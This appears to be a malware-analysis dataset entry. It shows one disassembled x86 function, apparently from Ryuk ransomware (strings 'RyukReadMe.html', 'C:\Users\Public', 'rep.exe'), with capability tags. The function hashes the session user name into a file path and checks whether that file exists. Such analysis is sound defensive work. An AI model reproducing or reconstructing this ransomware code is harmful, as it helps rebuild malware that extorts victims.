Function at 0x35009970
Capabilities:
Check if file exists
Get file attributes
Get session user name

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1190
call fcn.3500e840
push esi
push edi
push 0x32
push 0
lea eax, [ebp - 0x10c]
push eax
call fcn.3500d070
add esp, 0xc
mov ecx, dword [0x3501a2d0]
mov dword [ebp - 0x10c], ecx
mov dx, word [0x3501a2d4]
mov word [ebp - 0x108], dx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x80], ecx
mov edx, dword [ebp - 0x14]
mov ax, word [edx]
mov word [ebp - 0x56], ax
add dword [ebp - 0x14], 2
cmp word [ebp - 0x56], 0
jne 0x350099b8
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x80]
mov edx, dword [ebp - 0x80]
mov dword [ebp - 0x94], edx
mov dword [ebp - 0x98], ecx
lea eax, [ebp - 0x10c]
add eax, 0xfffffffe
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
mov dx, word [ecx + 2]
mov word [ebp - 0x58], dx
add dword [ebp - 0x30], 2
cmp word [ebp - 0x58], 0
jne 0x350099ee
mov edi, dword [ebp - 0x30]
mov esi, dword [ebp - 0x94]
mov eax, dword [ebp - 0x98]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 8
mov esi, str.C_UsersPublic
lea edi, [ebp - 0x12c]
rep movsd dword es:[edi], dword [esi]
mov ecx, 8
mov esi, str.RyukReadMe.html
lea edi, [ebp - 0x150]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x208
push 0
lea ecx, [ebp - 0x560]
push ecx
call fcn.3500d070
add esp, 0xc
mov dword [ebp - 0x9c], 0xfa
lea edx, [ebp - 0x9c]
push edx
lea eax, [ebp - 0x560]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
jne 0x35009ab3
mov ecx, dword [str.rep.exe]
mov dword [ebp - 0x970], ecx
mov edx, dword [0x3501a320]
mov dword [ebp - 0x96c], edx
mov eax, dword [0x3501a324]
mov dword [ebp - 0x968], eax
mov ecx, dword [0x3501a328]
mov dword [ebp - 0x964], ecx
jmp 0x35009bf5
xorps xmm0, xmm0
movlpd qword [ebp - 0x90], xmm0
mov dword [ebp - 0x1c], 0
jmp 0x35009ad0
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
lea eax, [ebp - 0x560]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
add ecx, 2
mov dword [ebp - 0xa0], ecx
mov edx, dword [ebp - 0x18]
mov ax, word [edx]
mov word [ebp - 0x5a], ax
add dword [ebp - 0x18], 2
cmp word [ebp - 0x5a], 0
jne 0x35009ae5
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0xa0]
sar ecx, 1
mov dword [ebp - 0xa4], ecx
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 0xa4]
jae 0x35009b41
mov eax, dword [ebp - 0x1c]
movzx ecx, word [ebp + eax*2 - 0x560]
imul ecx, dword [ebp - 0x1c]
xor edx, edx
add ecx, dword [ebp - 0x90]
adc edx, dword [ebp - 0x8c]
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x8c], edx
jmp 0x35009ac7
push 0x208
push 0
lea eax, [ebp - 0xb78]
push eax
call fcn.3500d070
add esp, 0xc
push 0xa
lea ecx, [ebp - 0xb78]
push ecx
mov edx, dword [ebp - 0x90]
push edx
call fcn.35010812
add esp, 0xc
lea eax, [ebp - 0xb78]
mov dword [ebp - 0x70], eax
lea ecx, [ebp - 0x970]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0xcc], edx
mov eax, dword [ebp - 0x70]
mov cx, word [eax]
mov word [ebp - 2], cx
mov edx, dword [ebp - 0x34]
mov ax, word [ebp - 2]
mov word [edx], ax
mov ecx, dword [ebp - 0x70]
add ecx, 2
mov dword [ebp - 0x70], ecx
mov edx, dword [ebp - 0x34]
add edx, 2
mov dword [ebp - 0x34], edx
cmp word [ebp - 2], 0
jne 0x35009b8a
lea eax, [ebp - 0x970]
add eax, 0xfffffffe
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
mov dx, word [ecx + 2]
mov word [ebp - 0x5c], dx
add dword [ebp - 0x38], 2
cmp word [ebp - 0x5c], 0
jne 0x35009bc3
mov edi, dword [ebp - 0x38]
mov eax, dword [0x3501a32c]
mov dword [edi], eax
mov ecx, dword [0x3501a330]
mov dword [edi + 4], ecx
mov edx, dword [0x3501a334]
mov dword [edi + 8], edx
push 0x410
push 0
lea eax, [ebp - 0xf88]
push eax
call fcn.3500d070
add esp, 0xc
push 0x208
lea ecx, [ebp - 0xf88]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x35009c2b
or eax, 0xffffffff
jmp 0x35009fac
push 0x208
push 0
lea edx, [ebp - 0x1190]
push edx
call fcn.3500d070
add esp, 0xc
lea eax, [ebp - 0xf88]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
add ecx, 2
mov dword [ebp - 0xa8], ecx
mov edx, dword [ebp - 0x20]
mov ax, word [edx]
mov word [ebp - 0x6c], ax
add dword [ebp - 0x20], 2
cmp word [ebp - 0x6c], 0
jne 0x35009c56
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0xa8]
sar ecx, 1
mov dword [ebp - 0xac], ecx
mov edx, dword [ebp - 0xac]
mov dword [ebp - 0x24], edx
jmp 0x35009c90
mov eax, dword [ebp - 0x24]
sub eax, 1
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jle 0x35009cf6
mov ecx, dword [ebp - 0x24]
movzx edx, word [ebp + ecx*2 - 0xf88]
cmp edx, 0x5c
jne 0x35009cf4
mov eax, dword [ebp - 0x24]
lea ecx, [ebp + eax*2 - 0xf88]
mov dword [ebp - 0x74], ecx
lea edx, [ebp - 0x1190]
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xd0], eax
mov ecx, dword [ebp - 0x74]
mov dx, word [ecx]
mov word [ebp - 4], dx
mov eax, dword [ebp - 0x3c]
mov cx, word [ebp - 4]
mov word [eax], cx
mov edx, dword [ebp - 0x74]
add edx, 2
mov dword [ebp - 0x74], edx
mov eax, dword [ebp - 0x3c]
add eax, 2
mov dword [ebp - 0x3c], eax
cmp word [ebp - 4], 0
jne 0x35009cc5
jmp 0x35009cf6
jmp 0x35009c87
push 0x208
push 0
lea ecx, [ebp - 0x358]
push ecx
call fcn.3500d070
add esp, 0xc
lea edx, [ebp - 0x10c]
mov dword [ebp - 0x78], edx
lea eax, [ebp - 0x358]
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0xd4], ecx
mov edx, dword [ebp - 0x78]
mov ax, word [edx]
mov word [ebp - 6], ax
mov ecx, dword [ebp - 0x40]
mov dx, word [ebp - 6]
mov word [ecx], dx
mov eax, dword [ebp - 0x78]
add eax, 2
mov dword [ebp - 0x78], eax
mov ecx, dword [ebp - 0x40]
add ecx, 2
mov dword [ebp - 0x40], ecx
cmp word [ebp - 6], 0
jne 0x35009d27
lea edx, [ebp - 0x358]
add edx, 0xfffffffe
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x44]
mov cx, word [eax + 2]
mov word [ebp - 0x5e], cx
add dword [ebp - 0x44], 2
cmp word [ebp - 0x5e], 0
jne 0x35009d60
mov edi, dword [ebp - 0x44]
mov edx, dword [0x3501a338]
mov dword [edi], edx
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x84], ecx
mov edx, dword [ebp - 0x28]
mov ax, word [edx]
mov word [ebp - 0x60], ax
add dword [ebp - 0x28], 2
cmp word [ebp - 0x60], 0
jne 0x35009d93
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x84]
mov edx, dword [ebp - 0x84]
mov dword [ebp - 0xb0], edx
mov dword [ebp - 0xb4], ecx
lea eax, [ebp - 0x358]
add eax, 0xfffffffe
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
mov dx, word [ecx + 2]
mov word [ebp - 0x62], dx
add dword [ebp - 0x48], 2
cmp word [ebp - 0x62], 0
jne 0x35009dcf
mov edi, dword [ebp - 0x48]
mov esi, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xb4]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x358]
add ecx, 0xfffffffe
mov dword [ebp - 0x4c], ecx
mov edx, dword [ebp - 0x4c]
mov ax, word [edx + 2]
mov word [ebp - 0x64], ax
add dword [ebp - 0x4c], 2
cmp word [ebp - 0x64], 0
jne 0x35009e0e
mov edi, dword [ebp - 0x4c]
mov ecx, dword [0x3501a33c]
mov dword [edi], ecx
lea edx, [ebp - 0x970]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x88], eax
mov ecx, dword [ebp - 0x2c]
mov dx, word [ecx]
mov word [ebp - 0x66], dx
add dword [ebp - 0x2c], 2
cmp word [ebp - 0x66], 0
jne 0x35009e41
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x88]
mov dword [ebp - 0xb8], ecx
mov dword [ebp - 0xbc], eax
lea edx, [ebp - 0x358]
add edx, 0xfffffffe
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x50]
mov cx, word [eax + 2]
mov word [ebp - 0x68], cx
add dword [ebp - 0x50], 2
cmp word [ebp - 0x68], 0
jne 0x35009e7d
mov edi, dword [ebp - 0x50]
mov esi, dword [ebp - 0xb8]
mov edx, dword [ebp - 0xbc]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x358]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x35009fa7
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 2
jne 0x35009fa0
lea ecx, [ebp - 0x358]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
add edx, 2
mov dword [ebp - 0xc4], edx
mov eax, dword [ebp - 0xc]
mov cx, word [eax]
mov word [ebp - 0x6a], cx
add dword [ebp - 0xc], 2
cmp word [ebp - 0x6a], 0
jne 0x35009ef4
mov edx, dword [ebp - 0xc]
sub edx, dword [ebp - 0xc4]
sar edx, 1
mov dword [ebp - 0xc8], edx
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x10], eax
jmp 0x35009f2e
mov ecx, dword [ebp - 0x10]
sub ecx, 1
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], 0
jle 0x35009f55
mov edx, dword [ebp - 0x10]
movzx eax, word [ebp + edx*2 - 0x358]
cmp eax, 0x5c
jne 0x35009f46
jmp 0x35009f55
xor ecx, ecx
mov edx, dword [ebp - 0x10]
mov word [ebp + edx*2 - 0x358], cx
jmp 0x35009f25
lea eax, [ebp - 0x358]
mov dword [ebp - 0x7c], eax
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x54], ecx
mov edx, dword [ebp - 0x54]
mov dword [ebp - 0xd8], edx
mov eax, dword [ebp - 0x7c]
mov cx, word [eax]
mov word [ebp - 8], cx
mov edx, dword [ebp - 0x54]
mov ax, word [ebp - 8]
mov word [edx], ax
mov ecx, dword [ebp - 0x7c]
add ecx, 2
mov dword [ebp - 0x7c], ecx
mov edx, dword [ebp - 0x54]
add edx, 2
mov dword [ebp - 0x54], edx
cmp word [ebp - 8], 0
jne 0x35009f6d
xor eax, eax
jmp 0x35009fac
or eax, 0xffffffff
jmp 0x35009fac
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret